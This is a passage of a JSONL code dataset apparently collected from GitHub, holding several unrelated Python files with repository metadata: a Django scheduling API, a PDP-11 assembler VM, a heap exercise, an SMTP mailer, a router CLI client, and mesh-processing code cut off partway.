np.arange(shape[1]),np.arange(shape[0]))\n l, t = np.meshgrid(\n np.arange(offset[1],img.shape[1]-shape[1]+1,stride[1]),\n np.arange(offset[0],img.shape[0]-shape[0]+1,stride[0]) )\n l = l.ravel()\n t = t.ravel()\n x = np.tile( px[None,:,:], (t.size,1,1)) + np.tile( l[:,None,None], (1,shape[0],shape[1]))\n y = np.tile( py[None,:,:], (t.size,1,1)) + np.tile( t[:,None,None], (1,shape[0],shape[1]))\n return img[y.ravel(),x.ravel()].reshape((t.size,shape[0],shape[1])), (t,l)\n\ndef reconstruct_from_grayscale_patches( patches, origin, epsilon=1e-12 ):\n \"\"\"Rebuild an image from a set of patches by averaging\n\n The reconstructed image will have different dimensions than the\n original image if the strides and offsets of the patches were changed\n from the defaults!\n\n Args:\n patches (ndarray): input patches as (N,patch_height,patch_width) array\n\n origin (2-tuple): top and left coordinates of each patch\n\n epsilon (scalar): regularization term for averaging when patches\n some image pixels are not covered by any patch\n\n Returns:\n image (ndarray): output image reconstructed from patches of\n size ( max(origin[0])+patches.shape[1], max(origin[1])+patches.shape[2])\n\n weight (ndarray): output weight matrix consisting of the count\n of patches covering each pixel\n \"\"\"\n patch_width = patches.shape[2]\n patch_height = patches.shape[1]\n img_width = np.max( origin[1] ) + patch_width\n img_height = np.max( origin[0] ) + patch_height\n\n out = np.zeros( (img_height,img_width) )\n wgt = np.zeros( (img_height,img_width) )\n for i in range(patch_height):\n for j in range(patch_width):\n out[origin[0]+i,origin[1]+j] += patches[:,i,j]\n wgt[origin[0]+i,origin[1]+j] += 1.0\n\n return out/np.maximum( wgt, epsilon ), wgt\n\n","repo_name":"grinberglab/high-res-3D-tau","sub_path":"convnet/util/help_functions.py","file_name":"help_functions.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"9073314398","text":"from datetime import datetime\n\nfrom django.http import JsonResponse\nfrom rest_framework import serializers\nfrom rest_framework.decorators import api_view\nfrom rest_framework.generics import ListCreateAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom barbers.models import Barber\nfrom schedules.models import Scheduling\nfrom schedules.serializer import SchedulingSerializer\nfrom schedules.utils import ListingSchedules, Verifications\n\n\nclass ScheduleView(APIView):\n def get(self, request, date):\n date = datetime.strptime(date, \"%Y-%m-%d\").date()\n provider = request.query_params.get(\"provider\", None)\n provider = Barber.objects.filter(user__first_name=provider).first()\n appointment_list = []\n\n holiday = Verifications.is_holiday(date)\n\n if holiday:\n # status 150 occurs when the date is a holiday.\n appointment_list.append(\n {\"Information\": \"A data selecionada é um feriado!\", \"status\": 150}\n )\n return JsonResponse(appointment_list, safe=False)\n\n if not provider:\n # status 151 occurs when barber isn't found\n return Response(\n {\n \"Information\": \"Infelizmente nenhum barbeiro foi encontrado, tente novamente!\",\n \"status\": 151,\n }\n )\n\n qs = Scheduling.objects.filter(\n date_time__date=date, state=\"CONF\", confirmed=True\n ).order_by(\"date_time__time\")\n serializer = SchedulingSerializer(qs, many=True)\n\n appointment_list = Verifications.verification_weekday(appointment_list, date)\n\n schedule_list = ListingSchedules.remove_scheduling_confirmed(\n appointment_list, serializer.data\n )\n\n return JsonResponse(schedule_list, safe=False)\n\n\nclass ScheduleTime(ListCreateAPIView):\n serializer_class = SchedulingSerializer\n\n def post(self, request, *args, **kwargs):\n data = request.data\n date_time = data.get(\"date_time\")\n work_type = data.get(\"work_type\")\n date = datetime.strptime(date_time[:10], \"%Y-%m-%d\").date()\n\n holiday = Verifications.is_holiday(date)\n\n if holiday:\n raise serializers.ValidationError(\n \"Infelizmente agendamentos não podem ser realizados em feriados!\"\n )\n\n # if not work_type:\n # raise serializers.ValidationError(\n # \"É necessário passar um tipo de trabalho!\"\n # )\n\n return super().post(request, *args, **kwargs)\n\n\n@api_view(http_method_names=[\"GET\"])\ndef healthcheck(request):\n return Response({\"status\": \"OK\"}, status=200)\n","repo_name":"ErnestoTSantos/Back-end-project-web-development","sub_path":"schedules/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23431552481","text":"import as_parse as prs\nimport os\nimport fnmatch\nfrom collections import deque\nimport logging\nimport atexit\nimport sys\nimport glob\nimport yaml\n\n\nclass Memory:\n def __init__(self, size):\n self.size = size * 1024\n self.memory = [0] * self.size\n self.brk_addr = 0\n self.sp = 0\n self.counters = {'read': 0, 'write': 0}\n\n def __len__(self):\n return len(self.memory)\n\n def init(self, data):\n assert len(data) <= self.size, \"Initialization of memory out of bound\"\n self.memory[0:len(data)] = data\n\n def init_slize(self, start_ind, size, data):\n self.memory[start_ind: start_ind + size] = data\n\n def write(self, pos, value, byte=False):\n assert pos + 1 < len(self.memory), \"Memory, write outside memory {}\".format(pos)\n assert isinstance(value, int), \"Memory, value is not int: {}\".format(value)\n # >>> (2496065).to_bytes(3, 'little')\n # b'A\\x16&'\n # >>> s[0]\n # 65\n # >>> s[1]\n # 22\n # >>> s[2]\n # 38\n # >>> s[2] << 16 | s[1] << 8 | s[0]\n # 2496065\n\n self.counters['write'] += 1\n\n if value <= 0xFF:\n if byte:\n self.memory[pos] = value\n return 1\n else:\n self.memory[pos] = value\n self.memory[pos + 1] = 0\n return 2\n else:\n length = 0\n v = value\n while v != 0:\n length += 1\n v >>= 8\n if length % 2 != 0:\n # Pad with 0 to make it even (store on word boundary), most significant byte first (little endian)\n self.memory[pos] = 0\n pos += 1\n ret_length = length + 1\n else:\n ret_length = length\n\n value_bytes = value.to_bytes(length, 'little')\n\n for byte_pos in range(length):\n self.memory[pos] = value_bytes[byte_pos]\n pos += 1\n\n return ret_length\n\n def read(self, pos, nr=2):\n assert pos < len(self.memory) and pos >= 0, \"Read outside memory {}\".format(pos)\n\n self.counters['read'] += 1\n\n ret_val = 0\n for i in range(nr - 1, -1, -1):\n mem_val = self.memory[pos + i]\n ret_val = ret_val << 8 | mem_val\n\n return ret_val\n\n def get_counters(self):\n return self.counters['read'], self.counters['write']\n\n\nclass SymbolTable:\n def __init__(self):\n self.table = {}\n\n def __str__(self):\n result = \"\"\n for key, elem in self.table.items():\n result += \"{}: \\t\\t{}\\n\".format(key, elem)\n return result[:-1]\n\n def __iter__(self):\n return iter(self.table)\n\n def items(self):\n return self.table.items()\n\n def add(self, key, val):\n if key.isdigit():\n if key in self.table:\n self.table[key].append(val)\n else:\n self.table[key] = [val]\n else:\n self.table[key] = val\n\n def get(self, key):\n if key in self.table:\n return self.table[key]\n else:\n return None\n\n def get_key(self, val):\n return list(self.table.keys())[list(self.table.values()).index(val)]\n\n def sort(self):\n for lbl in self.table:\n self.table[lbl] = sorted(self.table[lbl])\n\n\nclass PSW:\n def __init__(self):\n self.N = 0\n self.Z = 0\n self.V = 0\n self.C = 0\n\n def __str__(self):\n return \"N: \" + str(self.N) + \"\\tZ: \" + str(self.Z) + \"\\tV: \" + str(self.V) + \"\\tC: \" + str(self.C)\n\n def dump(self):\n return \"N: \" + str(self.N) + \" Z: \" + str(self.Z) + \" V: \" + str(self.V) + \" C: \" + str(self.C)\n\n def set(self, PSW):\n self.N = PSW['N']\n self.Z = PSW['Z']\n self.V = PSW['V']\n self.C = PSW['C']\n\n def get(self):\n return {'N': self.N, 'Z': self.Z, 'V': self.V, 'C': self.C}\n\n\nclass VM:\n def __init__(self, cmd_line, exec=False, config_file=\"config.yml\"):\n self.logger = logging.getLogger('pyPDP')\n logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)\n self.logger.info('Start')\n\n # --> Pure VM initialization\n try:\n with open(config_file, \"rb\") as cfg_file:\n self.config = yaml.safe_load(cfg_file)\n except OSError as e:\n self.logger.info(f\"{config_file} not found in {os.getcwd()}\")\n self.config = {'work_dir': \".\", 'out_dir': \".\"}\n\n os.chdir(self.config['work_dir'])\n\n self.mem = Memory(64)\n self.register = {'r0': 0, 'r1': 0, 'r2': 0, 'r3': 0, 'r4': 0, 'r5': 0, 'sp': 0o177776, 'pc': 0}\n self.PSW = PSW()\n\n self.prg_start_address = 0\n self.register['pc'] = self.prg_start_address\n self.exit = False\n\n self.variables = SymbolTable()\n self.named_labels = SymbolTable()\n self.numeric_labels = SymbolTable()\n self.prg = None\n\n self.location_counter = self.prg_start_address\n self.variables.add('.', self.location_counter)\n self.variables.add('..', 0)\n\n self.sys_sig_status = {}\n self.sig_list = ['NA',\n 'hangup',\n 'interrupt',\n 'quit',\n 'illegal instruction',\n 'trace trap',\n 'IOT instruction',\n 'EMT instruction',\n 'floating point exception',\n 'kill',\n 'bus error',\n 'segmentation violation',\n 'bad argument to system call',\n 'write on a pipe with no one to read it']\n\n self.instr_pre_traceQ = deque(maxlen=1000000)\n self.instr_traceQ = deque(maxlen=1000000)\n\n self.files = {1: 'stdout'}\n self.counters = {'instr executed': 0}\n\n # <-- Pure VM initialization\n\n # --> Command line parsing\n if cmd_line[1] not in ['as', 'as2']:\n raise Exception(\"Wrong command: {}\".format(cmd_line[1]))\n else:\n # This is when we assemble from source\n if cmd_line[1] == 'as2':\n #\n # sys exec /lib/as2 /lib/as2 /tmp/atm1e /tmp/atm2e /tmp/atm3f\n #\n # arguments from cmd_line[2:] can be of the following forms:\n # 1. Not ending with single wild card, for example [\"/tmp/atm1a\", \"/tmp/atm2a\", \"/tmp/atm3a\"]\n # 2. Ending with single wild card: [\"/tmp/atm1?\", \"/tmp/atm2?\", \"/tmp/atm3?\"]\n # In case 2 we take all files matching the wild card, create a list and select the last file\n args = [cmd_line[1]]\n for elem in cmd_line[2:]:\n if elem[-1] == '?':\n files = glob.glob(elem)\n if files:\n file = sorted(files)[-1] # Last file matching the wild card\n else: # files mathing elem not found, issue warning but continue.\n self.logger.warning(f\"WARNING {elem} not found! Will continue...\")\n file =''\n else:\n file = elem # No wild card, use as is\n args.append(file)\n else: # as1\n args = [cmd_line[1]]\n if cmd_line[2] == '-':\n args += cmd_line[2] + ' '\n files = cmd_line[3]\n else:\n files = cmd_line[2]\n\n fnList = sorted(glob.glob(files))\n args += fnList\n\n self.logger.info('Start {}'.format(args))\n\n asm_files = 'as1?.s' if args[0] == 'as' else 'as2?.s'\n\n asm_list = []\n for filename in os.listdir(\".\"):\n if fnmatch.fnmatch(filename, asm_files):\n asm_list.append(filename)\n\n asm_list.sort()\n\n if not exec: # Parsing and interpreting\n self.src = \"\"\n for filename in asm_list:\n with open(filename, 'r') as f:\n self.src += f.read()\n\n self.prg = prs.parse(self.src)\n\n self.text_segment_start = self.location_counter\n self.assemble_segment__('.text')\n\n self.data_segment_start = self.location_counter\n self.variables.add('.', self.location_counter)\n self.assemble_segment__('.data')\n\n self.bss_segment_start = self.location_counter\n self.variables.add('.', self.location_counter)\n self.assemble_segment__('.bss')\n\n self.numeric_labels.sort()\n self.resolve()\n\n self.prg_index_LUT = {}\n\n stack_mempos = len(self.mem) - 1024 # Program stack i maximum 1k of memory\n\n # Push all arguments on internal stack in reverse order\n for arg in reversed(args):\n arg += '\\x00' # all arguments on stack need to be terminated with 0\n nr = 0\n for ch in arg:\n nr += self.mem.write(stack_mempos + nr, ord(ch), byte=True)\n self.stack_push(stack_mempos)\n stack_mempos += nr\n\n self.stack_push(len(args))\n\n atexit.register(self.patch_aout)\n atexit.register(self.stats)\n atexit.register(self.dump_trace)\n\n def memory(self, data):\n self.mem.init(data)\n\n def memory_slize(self, start_ind, size, data):\n self.mem.init_slize(start_ind, size, data)\n\n def log_level(self, verbose):\n logging.getLogger().setLevel(logging.DEBUG if verbose else logging.INFO)\n\n def dump_trace(self, trace_fn=\"trace.txt\"):\n self.logger.info(f\"Dumping trace to {trace_fn}\")\n with open(trace_fn, \"w\") as f:\n header = \"{:<8}{:<30}{:<15}{:<15}{:<75}{:<25}\".format(\"lineno\", \"keyword\", \"src\", \"dst\",\n \"post instr register values\",\n \"post instr PSW\")\n f.write(header + \"\\n\")\n f.write(\"=\"*162 + \"\\n\\n\")\n for q_item in self.instr_traceQ:\n f.write(q_item + \"\\n\")\n\n def trace(self, instr):\n if instr:\n self.instr_pre_traceQ.append(instr.dump(self))\n\n def post_trace(self):\n for q_item in list(self.instr_pre_traceQ):\n pre_dump = self.instr_pre_traceQ.popleft()\n dump_str =\"{}{:<75}{:<25}\".format(pre_dump, self.dump_registers(), self.PSW.dump())\n self.instr_traceQ.append(dump_str)\n\n def assemble_segment__(self, segment_type):\n assemble = segment_type == '.text' # By default we always start with a .text segment\n for instr in self.prg.instructions:\n if instr is None: continue\n\n if instr.type() == \"PseudoOpStmt\":\n if instr.get() in ['.text', '.data', '.bss']:\n assemble = instr.expr == segment_type\n if self.location_counter % 2 == 1: # Odd, adjust so it is even\n self.location_counter += 1\n elif instr.get() == '.even':\n if assemble and self.location_counter % 2 == 1: # Odd, adjust so it is even\n self.location_counter += 1\n self.variables.add(\".\", self.location_counter)\n elif instr.get() == '.if':\n expr = instr.operands.eval(self)\n if expr == 0:\n old_assemble_val = assemble\n assemble = False\n elif instr.get() == '.endif':\n assemble = old_assemble_val\n\n if assemble:\n loc = self.location_counter\n instr.assemble(self)\n\n def resolve(self):\n for instr in self.prg.instructions:\n if instr is None: continue\n instr.resolve(self)\n\n def stack_push(self, value):\n self.register['sp'] -= 2\n self.mem.write(self.register['sp'], value)\n\n def stack_pop(self):\n val = self.mem.read(self.register['sp'], 2)\n self.register['sp'] += 2\n return val\n\n def stack_empty(self):\n return self.register['sp'] == len(self.mem)\n\n def stack_len(self):\n if self.stack_empty():\n return 0\n else:\n return abs(self.register['sp'] - 1) / 2\n\n def stack_read(self):\n if self.stack_empty():\n return []\n else:\n res = []\n ind = self.register['sp']\n while ind < len(self.mem):\n res.append(self.mem.read(ind, 2))\n ind += 2\n return res\n\n def stack_read_addr(self):\n if self.stack_empty():\n return []\n else:\n res = []\n ind = self.register['sp']\n while ind < len(self.mem):\n res.append(ind)\n ind += 2\n return res\n\n def get_stack(self):\n result = \"\"\n stack = self.stack_read()\n addr = self.stack_read_addr()\n if stack:\n ind = 0\n for elem in stack:\n result += str(elem) + \"\\t(\" + str(addr[ind]) + \")\" + \"\\n\"\n ind += 1\n return result[:-1]\n else:\n return result\n\n def incr_PC(self, incr=1):\n self.register['pc'] += (2 * incr)\n return self.register['pc']\n\n def set_PC(self, addr):\n self.register['pc'] = addr\n\n def get_PC(self):\n return self.register['pc']\n\n def get_address_PC(self):\n return self.register['pc'] + self.prg_start_address\n\n def get_statement(self):\n instr_loc = self.mem.read(self.register['pc'], 2)\n instr = self.prg.instructions[instr_loc]\n return instr\n\n def get_statement_index(self):\n return self.mem.read(self.register['pc'], 2)\n\n def get_instruction_indexes(self, locations):\n ret_val = []\n for loc in locations:\n if loc in self.prg_index_LUT:\n ret_val.append(self.prg_index_LUT[loc])\n else:\n for instr in self.prg.instructions:\n if instr is None: continue\n if instr.loc == loc:\n ret_val.append(self.prg.instructions.index(instr))\n self.prg_index_LUT[loc] = self.prg.instructions.index(instr)\n break\n return ret_val\n\n def get_index(self, instr):\n return self.prg.instructions.index(instr) + self.prg_start_address\n\n def get_src(self):\n return self.src\n\n def current_lineno(self):\n instr_loc = self.mem.read(self.get_PC(), 2)\n return self.prg.instructions[instr_loc].lineno\n\n def get_registers(self):\n result = \"\"\n for k, v in self.register.items():\n result += k + \": \" + str(v) + \" \\t\"\n return result[:-1]\n\n def dump_registers(self):\n result = \"\"\n for k, v in self.register.items():\n result += str(k) + \": \" + str(v) + \" \"\n return result\n\n def get_gui_status(self):\n result = \"\"\n for k, v in self.sys_sig_status.items():\n result += v + k + \"\\n\"\n return result[:-1] # Ignore last '\\n'\n\n def exec(self):\n # This routine is used when we have parsed files and have all instructions in a syntax tree (prg attribute)\n instr_loc = self.mem.read(self.get_PC(), 2)\n instr = self.prg.instructions[instr_loc]\n self.trace(instr)\n instr.exec(self)\n self.post_trace()\n self.counters['instr executed'] += 1\n\n def patch_aout(self):\n # This is a cludge...\n # a.out format expects the first 2 bytes in the file to have a 'magic number', this number can take 3 values:\n #\n # 0o407 (0x107): If the magic number (word 0) is 407, it indicates that the text segment is not to be write-\n # protected and shared, so the data segment is immediately contiguous with the text segment.\n #\n # 0o410 (0x108): If the magic number is 410, the data segment begins at the first 0 mod 8K byte\n # boundary following the text segment, and the text segment is not writable by the program;\n # if other processes are executing the same file, they will share the text segment.\n #\n # 0o411 (0x109): If the magic number is 411, the text segment is again pure, writeprotected, and shared,\n # and moreover instruction and data space are separated; the text and data segment both begin at\n # location 0.\n #\n # In the assembler, this is fixed in pass 2, by using the label \"txtmagic\", defined as (see as28s):\n # txtmagic:\n # \t br\t.+20\n #\n # The instruction 'br' is coded as 0o000400 + offset => 0o000420. This would branch 16 bytes forward, skipping\n # the header in the file (which is 16 bytes).\n # Somewhere in the assembler (have not figured out where yet), this is however modified to one of the 3 values.\n # If an a.out does not start with the magic number, the image will be considered as broken by the OS.\n #\n # In the current implementation, the memory position referred by label txtmagic contains the value of an index\n # where the instruction is stored, not the machine code value. Thus, the a.out file generated will not have\n # the correct magic value. This is fixed in this patch-method, by simply hardcode the value 0o407 in the first\n # 2 bytes, in hex with little endian: \"07 01\"\n\n txtmagic = \"0701\" # 0o407/0x107 in little endian order\n try:\n with open(\"a.out\", \"r+b\") as f:\n self.logger.debug('Patching a.out with magic number')\n f.write(bytes.fromhex(txtmagic))\n except FileNotFoundError:\n pass\n\n def stats(self):\n mem_reads, mem_writes = self.mem.get_counters()\n self.logger.info(f\"No of memory accesses: {(mem_reads + mem_writes):,} \"\n f\"(read: {mem_reads:,}, write {mem_writes:,})\")\n self.logger.info(f\"No of instructions executed: {self.counters['instr executed']:,}\")\n\n\nif __name__ == '__main__':\n vm = VM(cmd_line=sys.argv)\n\n while True:\n vm.exec()","repo_name":"Wolfrax/PyDP","sub_path":"asm/asm.py","file_name":"asm.py","file_ext":"py","file_size_in_byte":18601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35495939014","text":"# i = 1\n\n# while i <= 10:\n# if i == 10:\n# print(i)\n# else:\n# print(i, end=',')\n# i = i+1\n\n\n# a = 1\n# while True:\n# print(a)\n# a = a+1\n\nb = 1\nwhile 1:\n if (b % 10) == 0:\n print(b)\n else:\n print(b, end=',')\n b = b+1\n","repo_name":"kimhun55/Basic-Python-Django","sub_path":"BasicPython/whileloop.py","file_name":"whileloop.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38903480217","text":"from chatgpt_respond import simple_respond\r\nimport os\r\nimport shutil\r\nimport jsonlines\r\n\r\ndef ground_truth(file='questions.jsonl', save='ground_truth.jsonl'):\r\n if not os.path.exists(save):\r\n shutil.copy(file, save)\r\n \r\n data = []\r\n with jsonlines.open(save, 'r') as reader:\r\n for obj in reader:\r\n data.append(obj)\r\n while True:\r\n for i in range(len(data)):\r\n if 'ground_truth' not in data[i].keys():\r\n prompt = f\"Please answer a question about {data[i]['topic']}: {data[i]['question']}\"\r\n print(f\"Question {i+1}: {prompt}\")\r\n gtruth = simple_respond(prompt)\r\n if gtruth != 'F':\r\n data[i]['ground_truth'] = gtruth\r\n with jsonlines.open(save, 'w') as writer:\r\n for item in data:\r\n writer.write(item)\r\n print(f\"Answer: {gtruth}\")\r\n complete = True\r\n for item in data:\r\n if 'ground_truth' not in item.keys():\r\n complete = False\r\n if complete:\r\n break\r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n ground_truth()","repo_name":"lixiang90/DatasetFactory","sub_path":"ChatGPTGroundTruth/chatgpt_ground_truth.py","file_name":"chatgpt_ground_truth.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"73409331307","text":"from sys import stdin\nfrom collections import deque\n\nn = int(stdin.readline())\nheap = deque()\nheap.append(-1)\n\ndef insert(x):\n heap.append(x)\n idx = len(heap) - 1\n while((idx != 1) and (x < heap[idx // 2])):\n heap[idx], heap[idx//2] = heap[idx//2], heap[idx]\n idx = idx//2\n\ndef delete():\n if len(heap) == 1:\n print(0)\n return\n heap.popleft()\n heap[0], heap[len(heap) - 1] = heap[len(heap) - 1], heap[0]\n print(heap.pop())\n heap.appendleft(-1)\n parent = 1\n while True:\n child = parent * 2\n\n if (child + 1 < len(heap) and heap[child] > heap[child + 1]):\n child += 1\n if (child >= len(heap) or heap[child] > heap[parent]):\n break\n heap[child], heap[parent] = heap[parent], heap[child]\n parent = child\n\nfor _ in range(n):\n x = int(stdin.readline())\n if x == 0:\n delete()\n else:\n insert(x)","repo_name":"Yun-YeoJun/BOJ_Python","sub_path":"solutions/bj1927-1.py","file_name":"bj1927-1.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37682699038","text":"import socket\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom qstode.app import app\n\n\nclass Mailer(object):\n def __init__(self, sender):\n self.sender = sender\n\n def send(self, to, subject, message_text, message_html):\n server = app.config.get(\"SMTP_HOST\", \"localhost\")\n port = app.config.get(\"SMTP_PORT\", 25)\n\n msg = MIMEMultipart(\"alternative\")\n part_txt = MIMEText(message_text, \"plain\", \"utf-8\")\n part_html = MIMEText(message_html, \"html\", \"utf-8\")\n\n msg[\"Subject\"] = \"[QStode] %s\" % (subject,)\n msg[\"From\"] = self.sender\n msg[\"To\"] = to\n\n msg.attach(part_txt)\n msg.attach(part_html)\n\n try:\n conn = smtplib.SMTP(server, port)\n conn.sendmail(self.sender, [to], msg.as_string())\n conn.quit()\n except (smtplib.SMTPException, socket.error) as ex:\n app.logger.error(\"Unable to send mail: %s\" % str(ex))\n app.logger.exception(ex)\n return False\n\n return True\n","repo_name":"piger/qstode","sub_path":"qstode/mailer.py","file_name":"mailer.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"70811487786","text":"from aoirint_hg100rclient import HG100RClient, interactive_config, remove_config\n\ndef command_login(args):\n interactive_config(skip_ifexist=False)\n\ndef command_logout(args):\n remove_config()\n\ndef command_wanipv4(args):\n interactive_config()\n\n hg100r = HG100RClient()\n\n ipv4_addr = hg100r.get_wan_ipv4()\n print(ipv4_addr)\n\ndef command_reboot(args):\n interactive_config()\n\n hg100r = HG100RClient()\n\n ret = hg100r.reboot_router()\n print(ret)\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers()\n\n parser_login = subparsers.add_parser('login')\n parser_login.set_defaults(handler=command_login)\n\n parser_logout = subparsers.add_parser('logout')\n parser_logout.set_defaults(handler=command_logout)\n\n parser_wanipv4 = subparsers.add_parser('wanipv4')\n parser_wanipv4.set_defaults(handler=command_wanipv4)\n\n parser_reboot = subparsers.add_parser('reboot')\n parser_reboot.set_defaults(handler=command_reboot)\n\n args = parser.parse_args()\n\n if hasattr(args, 'handler'):\n args.handler(args)\n else:\n parser.print_help()\n","repo_name":"aoirint/aoirint_hg100rclient","sub_path":"aoirint_hg100rclient/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15209691284","text":"import numpy as np\nimport os\n\nfirst_try = True\nfor i in range(25):\n data_dir = \"./cdataset_output/svhn_resnet_ga_kmnc_iter_5000_0_%i\"%i\n temp_data = np.load(os.path.join(data_dir, \"data.npy\"))\n temp_truth = np.load(os.path.join(data_dir, \"ground_truth.npy\"))\n if first_try:\n all_data = temp_data\n all_truth = temp_truth\n first_try = False\n else:\n all_data = np.concatenate((all_data, temp_data), axis=0)\n all_truth = np.concatenate((all_truth, temp_truth), axis=0)\nprint(all_data.shape)\nprint(all_truth.shape)\nnp.save(os.path.join(\"./cdataset_output\", \"svhn_kmnc_data.npy\"), all_data)\nnp.save(os.path.join(\"./cdataset_output\", \"svhn_kmnc_truth.npy\"), all_truth)\n","repo_name":"l1lk/DistXplore","sub_path":"baseline/deephunter/deephunter/concate_crash_data.py","file_name":"concate_crash_data.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25623609425","text":"from dataclasses import dataclass\nimport math\nfrom typing import List, Tuple, Any\nimport numpy\n\nfrom tqdm import tqdm\n\nfrom vtkmodules.vtkCommonCore import (\n vtkIdList,\n vtkPoints,\n)\nfrom vtkmodules.vtkCommonDataModel import (\n VTK_POLYHEDRON,\n vtkBoundingBox,\n vtkCell,\n vtkCellArray,\n vtkPointSet,\n vtkPolyData,\n vtkStaticCellLocator,\n vtkStaticPointLocator,\n vtkUnstructuredGrid,\n)\nfrom vtkmodules.vtkCommonTransforms import (\n vtkTransform,\n)\nfrom vtkmodules.vtkFiltersCore import (\n vtkPolyDataNormals,\n)\nfrom vtkmodules.vtkFiltersGeometry import (\n vtkDataSetSurfaceFilter,\n)\nfrom vtkmodules.vtkFiltersModeling import (\n vtkCollisionDetectionFilter,\n vtkLinearExtrusionFilter,\n)\nfrom vtk import reference as vtk_reference\n\nfrom .reorient_mesh import reorient_mesh\n\nfrom . import vtk_utils\n\nfrom .vtk_polyhedron import (\n vtk_iter,\n)\n\nfrom . import triangle_distance\n\n\n@dataclass(frozen=True)\nclass Options:\n angle_tolerance: float\n point_tolerance: float\n face_tolerance: float\n\n\n@dataclass(frozen=True)\nclass Result:\n non_conformal_cells: List[Tuple[int, int]]\n\n\nclass BoundaryMesh:\n \"\"\"\n A BoundaryMesh is the envelope of the 3d mesh on which we want to perform the simulations.\n It is computed by vtk. But we want to be sure that the normals of the envelope are directed outwards.\n The `vtkDataSetSurfaceFilter` does not have the same behavior for standard vtk cells (like tets or hexs),\n and for polyhedron meshes, for which the result is a bit brittle.\n Therefore, we reorient the polyhedron cells ourselves, so we're sure that they point outwards.\n And then we compute the boundary meshes for both meshes, given that the computing options are not identical.\n \"\"\"\n def __init__(self, mesh: vtkUnstructuredGrid):\n \"\"\"\n Builds a boundary mesh.\n :param mesh: The 3d mesh.\n \"\"\"\n # Building the boundary meshes\n boundary_mesh, __normals, self.__original_cells = BoundaryMesh.__build_boundary_mesh(mesh)\n cells_to_reorient = filter(lambda c: mesh.GetCell(c).GetCellType() == VTK_POLYHEDRON,\n map(self.__original_cells.GetValue,\n range(self.__original_cells.GetNumberOfValues())))\n reoriented_mesh = reorient_mesh(mesh, cells_to_reorient)\n self.re_boundary_mesh, re_normals, _ = BoundaryMesh.__build_boundary_mesh(reoriented_mesh, consistency=False)\n num_cells = boundary_mesh.GetNumberOfCells()\n # Precomputing the underlying cell type\n self.__is_underlying_cell_type_a_polyhedron = numpy.zeros(num_cells, dtype=bool)\n for ic in range(num_cells):\n self.__is_underlying_cell_type_a_polyhedron[ic] = mesh.GetCell(self.__original_cells.GetValue(ic)).GetCellType() == VTK_POLYHEDRON\n # Precomputing the normals\n self.__normals = numpy.empty((num_cells, 3), dtype=numpy.double, order='C') # Do not modify the storage layout\n for ic in range(num_cells):\n if self.__is_underlying_cell_type_a_polyhedron[ic]:\n self.__normals[ic, :] = re_normals.GetTuple3(ic)\n else:\n self.__normals[ic, :] = __normals.GetTuple3(ic)\n @staticmethod\n def __build_boundary_mesh(mesh: vtkUnstructuredGrid, consistency=True) -> Tuple[vtkUnstructuredGrid, Any, Any]:\n \"\"\"\n From a 3d mesh, build the envelope meshes.\n :param mesh: The input 3d mesh.\n :param consistency: The vtk option passed to the `vtkDataSetSurfaceFilter`.\n :return: A tuple containing the boundary mesh, the normal vectors array,\n an array that maps the id of the boundary element to the id of the 3d cell it touches.\n \"\"\"\n f = vtkDataSetSurfaceFilter()\n f.PassThroughCellIdsOn()\n f.PassThroughPointIdsOff()\n f.FastModeOff()\n\n # Note that we do not need the original points, but we could keep them as well if needed\n original_cells_key = \"ORIGINAL_CELLS\"\n f.SetOriginalCellIdsName(original_cells_key)\n\n boundary_mesh = vtkPolyData()\n f.UnstructuredGridExecute(mesh, boundary_mesh)\n\n n = vtkPolyDataNormals()\n n.SetConsistency(consistency)\n n.SetAutoOrientNormals(consistency)\n n.FlipNormalsOff()\n n.ComputeCellNormalsOn()\n n.SetInputData(boundary_mesh)\n n.Update()\n normals = n.GetOutput().GetCellData().GetArray(\"Normals\")\n assert normals\n assert normals.GetNumberOfComponents() == 3\n assert normals.GetNumberOfTuples() == boundary_mesh.GetNumberOfCells()\n original_cells = boundary_mesh.GetCellData().GetArray(original_cells_key)\n assert original_cells\n return boundary_mesh, normals, original_cells\n\n def GetNumberOfCells(self) -> int:\n \"\"\"\n The number of cells.\n :return: An integer.\n \"\"\"\n return self.re_boundary_mesh.GetNumberOfCells()\n\n def GetNumberOfPoints(self) -> int:\n \"\"\"\n The number of points.\n :return: An integer.\n \"\"\"\n return self.re_boundary_mesh.GetNumberOfPoints()\n\n def bounds(self, i) -> vtkBoundingBox:\n \"\"\"\n The boundrary box of cell `i`.\n :param i: The boundary cell index.\n :return: The vtk bounding box.\n \"\"\"\n return self.re_boundary_mesh.GetCell(i).GetBounds()\n\n def normals(self, i) -> numpy.array:\n \"\"\"\n The normal of cell `i`. This normal will be directed outwards\n :param i: The boundary cell index.\n :return: The normal as a length-3 numpy array.\n \"\"\"\n return self.__normals[i]\n\n def GetCell(self, i) -> vtkCell:\n \"\"\"\n Cell i of the boundary mesh. This cell will have its normal directed outwards.\n :param i: The boundary cell index.\n :return: The cell instance.\n :warning: This member 